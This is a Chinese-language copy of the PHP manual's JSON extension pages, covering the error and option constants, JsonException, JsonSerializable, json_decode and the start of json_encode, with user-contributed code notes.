下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

以下常量表示了 json_last_error() 函数，或 JsonException 类中的 code 变量所返回的错误类型。

JSON_ERROR_NONE (int)
没有错误发生。
JSON_ERROR_DEPTH (int)
到达了最大堆栈深度。
JSON_ERROR_STATE_MISMATCH (int)
出现了下溢（underflow）或者模式不匹配。
JSON_ERROR_CTRL_CHAR (int)
控制字符错误，可能是编码不对。
JSON_ERROR_SYNTAX (int)
语法错误。
JSON_ERROR_UTF8 (int)
异常的 UTF-8 字符，也许是因为不正确的编码。
JSON_ERROR_RECURSION (int)
传递给 json_encode() 函数的对象或数组包含了递归引用，导致无法被编码。如果打开了 JSON_PARTIAL_OUTPUT_ON_ERROR 选项，则牵涉到递归引用的数据会转换成 null 后返回。
JSON_ERROR_INF_OR_NAN (int)
传递给 json_encode() 函数的参数中包含了 NAN 或 INF，导致编码出错。如果打开了 JSON_PARTIAL_OUTPUT_ON_ERROR 选项，则牵涉到对应不可编码的数字，会转换成数字 0 后返回。
JSON_ERROR_UNSUPPORTED_TYPE (int)
传递了不支持的数据类型给 json_encode() 函数，比如 resource。如果打开了 JSON_PARTIAL_OUTPUT_ON_ERROR 选项，则对于不支持的数据类型，会转换成 null 后返回。
JSON_ERROR_INVALID_PROPERTY_NAME (int)
A key starting with \u0000 character was in the string passed to json_decode() when decoding a JSON object into a PHP object.
JSON_ERROR_UTF16 (int)
Single unpaired UTF-16 surrogate in unicode escape contained in the JSON string passed to json_encode().

下面的常量可以和 json_decode() 的 form 选项结合使用。

JSON_BIGINT_AS_STRING (int)
将大数字编码成原始字符原来的值。
JSON_OBJECT_AS_ARRAY (int)
将 JSON 对象作为数组解码。当调用 json_decode() 且第二个参数为 true 时此选项会自动添加。

下面的常量可以和 json_encode() 的 form 选项结合使用。

JSON_HEX_TAG (int)
所有的 < 和 > 转换成 \u003C 和 \u003E。
JSON_HEX_AMP (int)
所有的 & 转换成 \u0026。
JSON_HEX_APOS (int)
所有的 ' 转换成 \u0027。
JSON_HEX_QUOT (int)
所有的 " 转换成 \u0022。
JSON_FORCE_OBJECT (int)
使一个非关联数组输出一个类（Object）而非数组。 在数组为空而接受者需要一个类（Object）的时候尤其有用。
JSON_NUMERIC_CHECK (int)
将所有数字字符串编码成数字（numbers）。
JSON_PRETTY_PRINT (int)
用空白字符格式化返回的数据。
JSON_UNESCAPED_SLASHES (int)
不要编码 /。
JSON_UNESCAPED_UNICODE (int)
以字面编码多字节 Unicode 字符（默认是编码成 \uXXXX）。
JSON_PARTIAL_OUTPUT_ON_ERROR (int)
用不可编码的值来代替失败。
JSON_PRESERVE_ZERO_FRACTION (int)
确保 float 值始终编码为为 float 值。
JSON_UNESCAPED_LINE_TERMINATORS (int)
The line terminators are kept unescaped when JSON_UNESCAPED_UNICODE is supplied. It uses the same behaviour as it was before PHP 7.1 without this constant. Available since PHP 7.1.0.

下面的常量可以和 json_decode() 及 json_encode() 的 form 选项结合使用。

JSON_INVALID_UTF8_IGNORE (int)
忽略无效的 UTF-8 字符。自 PHP 7.2.0 起生效。
JSON_INVALID_UTF8_SUBSTITUTE (int)
将无效 UTF-8 字符转换为 \0xfffd（Unicode 字符"虚缺号"）。自 PHP 7.2.0 起生效。
JSON_THROW_ON_ERROR (int)
如果发生错误则会抛出 JsonException，而不是通过 json_last_error() 和 json_last_error_msg() 检索设置到全局的错误状态。JSON_PARTIAL_OUTPUT_ON_ERROR 优先于 JSON_THROW_ON_ERROR。自 PHP 7.3.0 起生效。

User Contributed Notes

nikospapoutsis 06-Aug-2022 10:47
Be EXTREMELY cautious when using the code majid4466 at gmail dot com provided, or JSON_NUMERIC_CHECK in general.

For example, in php 7.4 and 8.1 with precision: 14 and serialize_precision: -1 we get:

<?php
$array = ['�', 55.6666666666666666, 'http://example.com/some/cool/page', '000337', '55.6666666666666666'];
echo $case1 = json_encode($array);
echo $case2 = json_encode($array,  JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES );
echo $case3 = json_encode($array,  JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

["\u20ac",55.666666666666664,"http:\/\/example.com\/some\/cool\/page","000337","55.6666666666666666"]
// in $case1, both euro sign and the url change but we also lost a digit in our unquoted float (due to precision)

["�",55.666666666666664,"http://example.com/some/cool/page","000337","55.6666666666666666"]
// in $case2, both euro sign and the url stay exactly the same but we still lost a digit in our unquoted float (due to precision)

["�",55.666666666666664,"http://example.com/some/cool/page",337,55.666666666666664]
// in $case3, we once again keep euro sign and the url intact but this time not only our unquoted float lost a digit
// but the same happened to our quoted float and the number/string lost its leading zeros too

Also, note that in php 5.x you will probably get some different but equally wrong results as default values may be different and some functions have changed internally as well.
Anonymous 28-Sep-2018 08:52
flags JSON_NUMERIC_CHECK and JSON_PRESERVE_ZERO_FRACTION are broken in php 7+ — json_encode((float)8.8) returns "8.8000000000000007", and json_encode((float)8.8, JSON_NUMERIC_CHECK) and json_encode((float)8.8, JSON_PRESERVE_ZERO_FRACTION) return "8.8000000000000007" too.

the only way to fix this is setting "serialize_precision = -1" in php.ini
ASchmidt at Anamera dot net 20-May-2018 03:53
In a multi-level array, JSON_FORCE_OBJECT will encode ALL nested numeric arrays as objects.

If your concern was ONLY the first-level array (e.g., to make it suitable as a MySQL JSON column), you could just cast your first-level array to object, e.g.:

<?php
$json = json_encode( (object) $array, JSON_PRESERVE_ZERO_FRACTION+JSON_UNESCAPED_UNICODE );
?>

Or, if you have large arrays and are concerned about the overhead of object casting, you could append a "null" value beyond the size of the array, which will force the array to become associative:

<?php
$beyond = count( $array ) + 1;
if ( !array_key_exists( $beyond, $array) )
     $array[ $beyond ] = NULL;
$json = json_encode( $array, JSON_PRESERVE_ZERO_FRACTION+JSON_UNESCAPED_UNICODE );
?>

Of course, your later code has to treat an element with a "NULL" value the same as "!isset()", if it iterates the array.
majid4466 at gmail dot com 07-Jul-2016 05:57
To get a really clean json string use these three constants like so:

<?php
$array = ['�', 'http://example.com/some/cool/page', '337'];
$bad   = json_encode($array);
$good  = json_encode($array,  JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

// $bad would be  ["\u20ac","http:\/\/example.com\/some\/cool\/page","337"]
// $good would be ["�","http://example.com/some/cool/page",337]
?>
JuanP 24-Nov-2015 01:42
Updated format values list:

    JSON_HEX_TAG => 1
    JSON_HEX_AMP => 2
    JSON_HEX_APOS => 4
    JSON_HEX_QUOT => 8
    JSON_FORCE_OBJECT => 16
    JSON_NUMERIC_CHECK => 32
    JSON_UNESCAPED_SLASHES => 64
    JSON_PRETTY_PRINT => 128
    JSON_UNESCAPED_UNICODE => 256
    JSON_PARTIAL_OUTPUT_ON_ERROR => 512
    JSON_PRESERVE_ZERO_FRACTION => 1024
on5wis at mac dot com 24-Apr-2015 09:27
since json_encode expects a UTF-8 string there is no need to encode the � symbol.

I suggest you try to echo : json_encode('�');
It gives: "\u20ac"
I'm running PHP 5.6.5 on the CLI, on MacOS X 10.10
Yzmir Ramirez 23-Sep-2014 12:31
If you curious of the numeric values of the constants, as of JSON 1.2.1, the constants have the following values (not that you should use the numbers directly):

JSON_HEX_TAG => 1
JSON_HEX_AMP => 2
JSON_HEX_APOS => 4
JSON_HEX_QUOT => 8
JSON_FORCE_OBJECT => 16
JSON_NUMERIC_CHECK => 32
JSON_UNESCAPED_SLASHES => 64
JSON_PRETTY_PRINT => 128
JSON_UNESCAPED_UNICODE => 256

JSON_ERROR_DEPTH => 1
JSON_ERROR_STATE_MISMATCH => 2
JSON_ERROR_CTRL_CHAR => 3

JSON_ERROR_SYNTAX => 4

JSON_ERROR_UTF8 => 5
JSON_OBJECT_AS_ARRAY => 1

JSON_BIGINT_AS_STRING => 2


JsonException 类

(PHP 7 >= 7.3.0, PHP 8)

简介

如果为 json_encode() 或 json_decode() 设置了 JSON_THROW_ON_ERROR 选项，则会抛出异常。 code 包含错误类型，关于可能的值请参见 json_last_error()。

类摘要

class JsonException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


JSON 序列化接口

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

简介

实现 JsonSerializable 的类可以 在 json_encode() 时定制他们的 JSON 表示法。

接口摘要

interface JsonSerializable {
/* 方法 */
public jsonSerialize(): mixed
}

Table of Contents

  • JsonSerializable::jsonSerialize — 指定需要被序列化成 JSON 的数据

User Contributed Notes

There are no user contributed notes for this page.


指定需要被序列化成 JSON 的数据

  • ? JsonSerializable
  • JSON 函数 ?
  • PHP Manual
  • JsonSerializable
  • 指定需要被序列化成 JSON 的数据

JsonSerializable::jsonSerialize

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

JsonSerializable::jsonSerialize — 指定需要被序列化成 JSON 的数据

说明

public JsonSerializable::jsonSerialize(): mixed

序列化物体（Object）成能被 json_encode() 原生地序列化的值。

参数

此函数没有参数。

返回值

返回能被 json_encode() 序列化的数据， 这个值可以是除了 resource 外的任意类型。

示例

Example #1 返回 array 的 JsonSerializable::jsonSerialize() 例子

<?php
class ArrayValue implements JsonSerializable {
private $array;
public function __construct(array $array) {
$this->array = $array;
}

public function jsonSerialize() {
return $this->array;
}
}

$array = [1, 2, 3];
echo json_encode(new ArrayValue($array), JSON_PRETTY_PRINT);
?>

以上示例会输出：

[
    1,
    2,
    3
]

Example #2 返回关联 array 的 JsonSerializable::jsonSerialize() 例子

<?php
class ArrayValue implements JsonSerializable {
private $array;
public function __construct(array $array) {
$this->array = $array;
}

public function jsonSerialize() {
return $this->array;
}
}

$array = ['foo' => 'bar', 'quux' => 'baz'];
echo json_encode(new ArrayValue($array), JSON_PRETTY_PRINT);
?>

以上示例会输出：

{
    "foo": "bar",
    "quux": "baz"
}

Example #3 返回 int 的 JsonSerializable::jsonSerialize() 例子s

<?php
class IntegerValue implements JsonSerializable {
private $number;
public function __construct($number) {
$this->number = (int) $number;
}

public function jsonSerialize() {
return $this->number;
}
}

echo json_encode(new IntegerValue(1), JSON_PRETTY_PRINT);
?>

以上示例会输出：

1

Example #4 返回 string 的JsonSerializable::jsonSerialize() 例子

<?php
class StringValue implements JsonSerializable {
private $string;
public function __construct($string) {
$this->string = (string) $string;
}

public function jsonSerialize() {
return $this->string;
}
}

echo json_encode(new StringValue('Hello!'), JSON_PRETTY_PRINT);
?>

以上示例会输出：

"Hello!"

User Contributed Notes

c dot waltjen at posteo dot de 26-Mar-2021 09:57
Json Serializable did not analyze the result to serialize child properties.
We have to call them manually:
<?php

class A implements JsonSerializable
{
    private B $b;

    public function __construct(B $b) { $this->b = $b;}

    public function jsonSerialize(): array
    {
        return [ 'b' => $this->b->jsonSerialize()];
    }
}

class B
{
    private string $foo = '';

    public function __construct(string $foo) { $this->foo = $foo; }

    public function jsonSerialize(): array
    {
        return ['foo' => $this->foo];
    }
}

$a = new A(new B('Hallo Welt'));

var_dump(json_encode($a));
?>

results in:
string(26) "{"b":{"foo":"Hallo Welt"}}"
rmdundon at gmail dot com 28-Nov-2018 06:43
For those who are also lazy. You cannot just include $this and expect it to work.

For example, this won't work:

<?php
class SomeClass implements JsonSerializable {

   protected $partner;

   function setPartner(object $partner) {
       $this->partner;
   }

   public function jsonSerialize() {
        return $this;
    }
}

$foo = new SomeClass();
$too = new stdClass();
$too->test = 1;
$foo->setPartner = $too;

echo json_encode($foo); // Shows a blank object "{}"

?>

You have to define the things manually, so this will work.

<?php
class SomeClass implements JsonSerializable {

   protected $partner;

   function setPartner(object $partner) {
       $this->partner;
   }

   public function jsonSerialize() {
        $data['partner'] = $this->partner;
        return $data;
    }
}

$foo = new SomeClass();
$too = new stdClass();
$too->test = 1;
$foo->setPartner = $too;

echo json_encode($foo); // Shows {"partner":{"test":1}}
tomasz dot darmetko at gmail dot com 13-Jul-2017 03:03
Nested json serializable objects will be serialized recursively. No need to call ->jsonSerialize() on your own. It is especially useful in collections.

<?php

class NestedSerializable implements \JsonSerializable
{

    private $serializable;

    public function __construct($serializable)
    {
        $this->serializable = $serializable;
    }

    public function jsonSerialize()
    {
        return [
            'serialized' => $this->serializable
        ];
    }

}

class SerializableCollection implements \JsonSerializable {

    private $elements;

    public function __construct(array $elements)
    {
        $this->elements = $elements;
    }

    public function jsonSerialize()
    {
        return $this->elements;
    }

}

// Outputs: [{"serialized":null},{"serialized":null},{"serialized":{"serialized":null}}]
echo json_encode(
    new SerializableCollection([
        new NestedSerializable(null),
        new NestedSerializable(null),
        new NestedSerializable(new NestedSerializable(null))
    ])
);

?>
info at digistratum dot com 26-Jan-2017 07:18
Here's a small test/proof that makes it easy to see some comparative results. Null was the one I was interested in since it was not documented:

<?php
class jsontest implements JsonSerializable {
        function __construct($value) { $this->value = $value; }
        function jsonSerialize() { return $this->value; }
}

print "Null -> " . json_encode(new jsontest(null)) . "\n";
print "Array -> " . json_encode(new jsontest(Array(1,2,3))) . "\n";
print "Assoc. -> " . json_encode(new jsontest(Array('a'=>1,'b'=>3,'c'=>4))) . "\n";
print "Int -> " . json_encode(new jsontest(5)) . "\n";
print "String -> " . json_encode(new jsontest('Hello, World!')) . "\n";
print "Object -> " . json_encode(new jsontest((object) Array('a'=>1,'b'=>3,'c'=>4))) . "\n";
?>

Output is:
Null -> null
Array -> [1,2,3]
Assoc. -> {"a":1,"b":3,"c":4}
Int -> 5
String -> "Hello, World!"
Object -> {"a":1,"b":3,"c":4}
david at vanlaatum dot id dot au 02-Apr-2015 02:57
simonsimcity at gmail dot com is wrong, you can throw exceptions in this but it will wrap with another exception so his example outputs

 PHP Fatal error:  Uncaught exception 'RuntimeException' with message 'It failed!' in -:8
 Stack trace:
 #0 [internal function]: Foo->jsonSerialize()
 #1 -(16): json_encode(Object(Foo))
 #2 {main}

 Next exception 'Exception' with message 'Failed calling Foo::jsonSerialize()' in -:16
 Stack trace:
 #0 -(0): json_encode()
 #1 {main}
   thrown in - on line 16

PHP 5.4.39
Anonymous 23-Jan-2015 06:34
Serialize private attributes to JSON in PHP 5.3

<?php

abstract class Model {

    public function jsonSerialize() {
        $getter_names = get_class_methods(get_class($this));
        $gettable_attributes = array();
        foreach ($getter_names as $key => $value) {
            if(substr($value, 0, 4) === 'get_') {
                $gettable_attributes[substr($value, 4, strlen($value))] = $this->$value();
            }
        }
        return $gettable_attributes;
    }

}

class Content extends Model {

    private $title;
    private $text;

    public function get_title() {
        return $this->title;
    }

    public function set_title($title) {
        $this->title = $title;
    }

    public function get_text() {
        return $this->text;
    }

    public function set_text($text) {
        $this->text = $text;
    }

}

$content = new Content();
$content->set_title('lol');
$content->set_text('haha');

echo json_encode($content->jsonSerialize());
?>
dimstefan83 at gmail dot com 20-Jun-2014 08:34
simple functions to make life easier.
I wanted a way to have a as property value the return value of a method in order to have it initialized. example

class portItem implements JsonSerializable{
    private $idPort;
    private $location;
    private $portLanguages;

    public function getLocation() {
        if(!isset($this->location)){
            return new locationItem();
        }
        return $this->location;
    }

    public function setLocation($location) {
        $this->location = $location;
    }

      public function setidPort($idPort){
        $this->idPort=$idPort;
    }

    public function getidPort(){
        if(!isset($this->idPort)){
            return 0;
        }
        return intval($this->idPort);
    }
    public function setPortLanguages($portLanguages){
        $this->portLanguages=$portLanguages;
    }

    public function getPortLanguages(){
        if(!isset($this->portLanguages)){
            return new genericItems();
        }
        return $this->portLanguages;
    }

    public function getCategoryLanguages(){
        if(!isset($this->portLanguages)){
            return new genericItems();
        }
        return $this->portLanguages;
    }

    public function getPortLanguageAtIndex($index=false){
        if(!$index){
            $index=0;
        }
        return $this->portLanguages[$index];
    }

    public function setPortLanguageAtIndex($index,$language){
        $this->portLanguages[$index]=$language;
    }

        public function jsonSerialize() {
        $dataConverter = new dataConverter();
        return $dataConverter->convertToJson($this);
    }

}

Wit 2 ways you can automatically convert for json.
1.by reading properties
public function convertToJson($object){
        /*approch by using object properties*/
        $class = get_class($this);
        $json = array();
        $properties = get_class_vars($class);
        $keys = array_keys($properties);
        $plength = count($keys);
        for($i=0;$i<$plength;$i++){
            $method =  "get".$keys[$i];
            if(method_exists ($this,$method)){
                $json[$keys[$i]] = $this->$method();
            }
        }
return $json;
}

public function convertToJson($object){
/*approch by using object methods*/
        $class = get_class($object);
        $json = array();
        $methods = get_class_methods($class);
        $plength = count($methods);
        $json = array();
        for($i=0;$i<$plength;$i++){
            if(stripos($methods[$i], "get")!==FALSE){
                $property = mb_substr($methods[$i], 3,mb_strlen($methods[$i],'UTF-8'),'UTF-8');
                $setter = "set".mb_substr($methods[$i], 3,mb_strlen($methods[$i],'UTF-8'),'UTF-8');
                if(method_exists($object,$setter)){
                    $json[$property] = $object->$methods[$i]();
                }

            }
        }

        return $json;
    }

By using this method the result will be a json with value for properties initialized according to each method.

Things to note
1.if you are using the reading properties approach the code cant' work outside of the class for private properties, because they are nto visible, you have to put it the code directly to public function jsonSerialize() {} in order to work.
2.For both approaches has method seems not to be case sensitive else you are going to have problems, i strongly suggest to pay attention in naming convention between property names and method names idPort =>setIdPort() =>getIdPort() (i know my class is done not that way).
3.both approaches since you call method without knowing the arguments you need to pay attention in arguments for getter methods where applicable, check my example
public function getPortLanguageAtIndex($index=false){
        if(!$index){
            $index=0;
        }
        return $this->portLanguages[$index];
    }
that's why i have set it to optional argument. If you don't do that php will complain about missing argument parameter in method XXX.
simonsimcity at gmail dot com 22-Mar-2014 11:05
You can't throw exceptions in here. If you do, you'll get an exception with the message "Failed calling FooClass::jsonSerialize()" and the stacktrace will start at where you called the json_encode() method.

Here's a code-example:

class Foo implements JsonSerializable {
    private $triggerError = true;

    public function jsonSerialize()
    {
        if ($this->triggerError) {
            throw new RuntimeException("It failed!");
        }

        return (array)$this;
    }
}

// Will throw an exception like new Exception("Failed calling Foo::jsonSerialize()")
json_encode(new Foo());
benkuhl at gmail dot com 31-Jan-2013 04:17
A good example on when you would use functionality like this is when working with objects.

json_encode() will take a DateTime and convert it to:

{
    "date":"2013-01-31 11:14:05",
    "timezone_type":3,
    "timezone":"America\/Los_Angeles"
}

This is great when working with PHP, but if the Date is being read by Java.  The Java date parser doesn't know what to do with that.  But it does know what to do with the ISO8601 format...

<?php

date_default_timezone_set('America/Los_Angeles');

class Fruit implements JsonSerializable {
    public
        $type = 'Apple',
        $lastEaten = null;

    public function __construct() {
        $this->lastEaten = new DateTime();
    }

    public function jsonSerialize() {
        return [
            'type' => $this->type,
            'lastEaten' => $this->lastEaten->format(DateTime::ISO8601)
        ];
    }
}
echo json_encode(new Fruit()); //which outputs: {"type":"Apple","lastEaten":"2013-01-31T11:17:07-0500"}

?>


JSON 函数

Table of Contents

  • json_decode — 对 JSON 格式的字符串进行解码
  • json_encode — 对变量进行 JSON 编码
  • json_last_error_msg — 返回最后一次调用 json_encode() 或 json_decode() 时产生的错误信息
  • json_last_error — 返回最后发生的错误
  • json_validate — 检查一个字符串是否包含有效的JSON

User Contributed Notes

There are no user contributed notes for this page.


对 JSON 格式的字符串进行解码

  • ? JSON 函数
  • json_encode ?
  • PHP Manual
  • JSON 函数
  • 对 JSON 格式的字符串进行解码

json_decode

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL json >= 1.2.0)

json_decode — 对 JSON 格式的字符串进行解码

说明

json_decode(
string $json,
?bool $associative = null,
int $depth = 512,
int $flags = 0
): mixed

接受一个 JSON 编码的字符串并且把它转换为 PHP 值。

参数

json

待解码的 json string 格式的字符串。

这个函数仅能处理 UTF-8 编码的数据。

Note:

PHP 实现了 JSON 的一个超集，参考 » RFC 7159.

associative

当为 true 时，JSON 对象将返回关联 array；当为 false 时，JSON 对象将返回 object。当为 null 时，JSON 对象将返回关联 array 或 object，这取决于是否在 flags 中设置 JSON_OBJECT_AS_ARRAY。

depth

需要解码的结构，其最大嵌套深度。该值必须大于 0 或者小于等于 2147483647。

flags

由 JSON_BIGINT_AS_STRING、JSON_INVALID_UTF8_IGNORE、JSON_INVALID_UTF8_SUBSTITUTE、JSON_OBJECT_AS_ARRAY、JSON_THROW_ON_ERROR 组成的掩码。这些常量的行为在 JSON constants 页面有进一步描述。

返回值

返回在 json 中编码的数据作为合适的 PHP 类型。没有引号的值 true、false 和 null 会相应地返回 true、false 和 null。如果 json 无法被解码，或者编码数据深度超过了嵌套限制的话，将会返回 null。

错误／异常

如果 depth 超出允许的范围，自 PHP 8.0.0 起将会抛出 ValueError，在此之前的版本将会引发 E_WARNING 级别的错误。

更新日志

版本 | 说明
7.3.0 | flags 新增 JSON_THROW_ON_ERROR。
7.2.0 | 现在 associative 允许为 null。
7.2.0 | flags 新增 JSON_INVALID_UTF8_IGNORE、JSON_INVALID_UTF8_SUBSTITUTE。
7.1.0 | An empty JSON key ("") can be encoded to the empty object property instead of using a key with value _empty_.

示例

Example #1 json_decode() 的例子

<?php
$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';

var_dump(json_decode($json));
var_dump(json_decode($json, true));

?>

以上示例会输出：

object(stdClass)#1 (5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

array(5) {
    ["a"] => int(1)
    ["b"] => int(2)
    ["c"] => int(3)
    ["d"] => int(4)
    ["e"] => int(5)
}

Example #2 Accessing invalid object properties

Accessing elements within an object that contain characters not permitted under PHP's naming convention (e.g. the hyphen) can be accomplished by encapsulating the element name within braces and the apostrophe.

<?php

$json = '{"foo-bar": 12345}';

$obj = json_decode($json);
print $obj->{'foo-bar'}; // 12345

?>

Example #3 common mistakes using json_decode()

<?php

// the following strings are valid JavaScript but not valid JSON

// the name and value must be enclosed in double quotes
// single quotes are not valid
$bad_json = "{ 'bar': 'baz' }";
json_decode($bad_json); // null

// the name must be enclosed in double quotes
$bad_json = '{ bar: "baz" }';
json_decode($bad_json); // null

// trailing commas are not allowed
$bad_json = '{ bar: "baz", }';
json_decode($bad_json); // null

?>

Example #4 depth errors

<?php
// Encode some data with a maximum depth of 4 (array -> array -> array -> string)
$json = json_encode(
array(
1 => array(
'English' => array(
'One',
'January'
),
'French' => array(
'Une',
'Janvier'
)
)
)
);

// Show the errors for different depths.
var_dump(json_decode($json, true, 4));
echo 'Last error: ', json_last_error_msg(), PHP_EOL, PHP_EOL;

var_dump(json_decode($json, true, 3));
echo 'Last error: ', json_last_error_msg(), PHP_EOL, PHP_EOL;
?>

以上示例会输出：

array(1) {
  [1]=>
  array(2) {
    ["English"]=>
    array(2) {
      [0]=>
      string(3) "One"
      [1]=>
      string(7) "January"
    }
    ["French"]=>
    array(2) {
      [0]=>
      string(3) "Une"
      [1]=>
      string(7) "Janvier"
    }
  }
}
Last error: No error

NULL
Last error: Maximum stack depth exceeded

Example #5 json_decode() of large integers

<?php
$json = '{"number": 12345678901234567890}';

var_dump(json_decode($json));
var_dump(json_decode($json, false, 512, JSON_BIGINT_AS_STRING));

?>

以上示例会输出：

object(stdClass)#1 (1) {
  ["number"]=>
  float(1.2345678901235E+19)
}
object(stdClass)#1 (1) {
  ["number"]=>
  string(20) "12345678901234567890"
}

注释

Note:

The JSON spec is not JavaScript, but a subset of JavaScript.

Note:

In the event of a failure to decode, json_last_error() can be used to determine the exact nature of the error.

参见

  • json_encode() - 对变量进行 JSON 编码
  • json_last_error() - 返回最后发生的错误

User Contributed Notes

greaties at ghvernuft dot nl 14-Feb-2023 03:42
To load an object with data in json format:
(bugfixed my previous comment)

<?php
function loadJSON($Obj, $json)
{
    $dcod = json_decode($json);
    $prop = get_object_vars ( $dcod );
    foreach($prop as $key => $lock)
    {
        if(property_exists ( $Obj ,  $key ))
        {
            if(is_object($dcod->$key))
            {
                loadJSON($Obj->$key, json_encode($dcod->$key));
            }
            else
            {
                $Obj->$key = $dcod->$key;
            }
        }
    }
    return $Obj;
}
?>

Tested with:

<?php
class Name
{
  public $first;
  public $last;
  public function fullname()
  {
    return $this->first . " " . $this->last;
  }
}
$json = '{"first":"John","last":"Smith"}';

$infull = loadJSON((new Name), $json);
echo $infull->fullname();
Lennart Hengstmengel 21-Jan-2022 05:42
JSON can be decoded to PHP arrays by using the $associative = true option. Be wary that associative arrays in PHP can be a "list" or "object" when converted to/from JSON, depending on the keys (of absence of them).

You would expect that recoding and re-encoding will always yield the same JSON string, but take this example:

    $json = '{"0": "No", "1": "Yes"}';
    $array = json_decode($json, true);  // decode as associative hash
    print json_encode($array) . PHP_EOL;

This will output a different JSON string than the original:

    ["No","Yes"]

The object has turned into an array!

Similarly, a array that doesn't have consecutive zero based numerical indexes, will be encoded to a JSON object instead of a list.

    $array = [
        'first',
        'second',
        'third',
    ];
    print json_encode($array) . PHP_EOL;
    // remove the second element
    unset($array[1]);
    print json_encode($array) . PHP_EOL;

The output will be:

    ["first","second","third"]
    {"0":"first","2":"third"}

The array has turned into an object!

In other words, decoding/encoding to/from PHP arrays is not always symmetrical, or might not always return what you expect!

On the other hand, decoding/encoding from/to stdClass objects (the default) is always symmetrical.

Arrays may be somewhat easier to work with/transform than objects. But especially if you need to decode, and re-encode json, it might be prudent to decode to objects and not arrays.

If you want to enforce an array to encode to a JSON list (all array keys will be discarded), use:

    json_encode(array_values($array));

If you want to enforce an array to encode to a JSON object, use:

    json_encode((object)$array);

See also: https://www.php.net/manual/en/function.array-is-list.php
as-works at narod dot ru 08-Nov-2021 01:49
On some PHP7+ systems php_json functions can be undefined (i faced it on Oracle Linux Enterprice with php 7.4 installed from REMI repository). If you have the same problem, try to install separated php-json module:

# yum install php-json

Hope this helps.
Anonymous 25-Sep-2021 02:44
<?php

$array = [0 => "foo", 1 => "bar", 2 => ["baz"]];

$associative = false;

var_dump(
    json_decode(
        json_encode($array),
        $associative
    )
);

?>

The above will output
<?php
/*
array (size=3)
  0 => string 'foo' (length=3)
  1 => string 'bar' (length=3)
  2 =>
    array (size=1)
      0 => string 'baz' (length=3)
*/
?>

Considering <?php $associative = false; ?> one might expect
<?php
/*
object(stdClass)
  public '0' => string 'foo' (length=3)
  public '1' => string 'bar' (length=3)
  public '2' =>
    object(stdClass)
      public '0' => string 'baz' (length=3)
*/
?>

an stdClass object instead of an array, but this is incorrect.
json_decode will always return an array for a sequentially encoded array, regardless of the ?bool $associative 2nd argument

Which is inline with the above mentioned docs/spec
    > Returns the value encoded in json in appropriate PHP type

Considering that the 1st arg was a sequentially encoded array as a json string
    '["foo","bar",["baz"]]'
greaties at ghvernuft dot nl 28-Apr-2021 11:36
To load an object with data in json format:

function loadJSON($Obj, $json)
{
    $dcod = json_decode($json);
    $prop = get_object_vars ( $dcod );
    foreach($prop as $key => $lock)
    {
        if(property_exists ( $Obj ,  $key ))
        {
            if(is_object($dcod->$key))
            {
                loadJSON($Obj->$key, json_encode($dcod->$key));
            }
            else
            {
                $Obj->$key = $dcod->$key;
            }
        }
    }
}
Alien426 14-Apr-2021 09:11
Browsers don't choke on integers _starting_ with BigInt (64 bits), but before that (53 bits). The introduction of BigInt to modern browsers doesn't help much, when JSON handling functions do not support it. So I am trying to remedy that. My approach is to handle the decoded array before re-encoding it to a string:
<?php
function fix_large_int(&$value)
 {
  if (is_int($value) && $value > 9007199254740991)
    $value = strval($value);
 }
$json_str = '{"id":[1234567890123456789,12345678901234567890]}';
$json_arr = json_decode($json_str, flags: JSON_BIGINT_AS_STRING | JSON_OBJECT_AS_ARRAY);
echo(json_encode($json_arr)); // {"id":[1234567890123456789,"12345678901234567890"]} (BigInt is already converted to a string here)
array_walk_recursive($json_arr, 'fix_large_int');
echo(json_encode($json_arr)); // {"id":["1234567890123456789","12345678901234567890"]}
?>
mattia 06-Feb-2021 08:51
if you're using ajax to post, and your JavaScript code looks like this:

<code>
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST", "something.php", true);
    xhttp.setRequestHeader("Content-Type", "application/json");
    xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
             // do something
        }
    };
    var data = {some: "thing"};
    xhttp.send(JSON.stringify(data));
</code>

then in <code>something.php</code> you can retrieve your json by doing

<?php
$data = json_decode(file_get_contents("php://input"), true);
?>
cubefox at web dot NOSPAMPLEASE dot de 11-Nov-2020 01:18
Warning: As the section "return values" mentions, the return value NULL is ambiguos. To repeat, it can mean three things:

* The input string had the value "null"
* There was an error while parsing the input data
* The encoded data was deeper than the recursion limit

To distinguish these cases, json_last_error() can be used.


对变量进行 JSON 编码

  • ? json_decode
  • json_last_error_msg ?
  • PHP Manual
  • JSON 函数
  • 对变量进行 JSON 编码

json_encode

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL json >= 1.2.0)

json_encode — 对变量进行 JSON 编码

说明

json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false

返回字符串，包含了 value 值 JSON 形式的表示。如果参数是 array 或 object，则会递归序列化。

如果要序列化的值是对象，则默认仅包含公开可见的属性，或者类可以实现 JsonSerializable 控制其值如何序列化为 JSON。

编码受传入的 flags 参数影响，此外浮点值的编码依赖于 serialize_precision。

参数

value

待编码的 value ，除了 resource 类型之外，可以为任何数据类型。

所有字符串数据的编码必须是 UTF-8。

Note:

PHP 实现了 JSON 的一个超集，参考 » RFC 7159.

flags

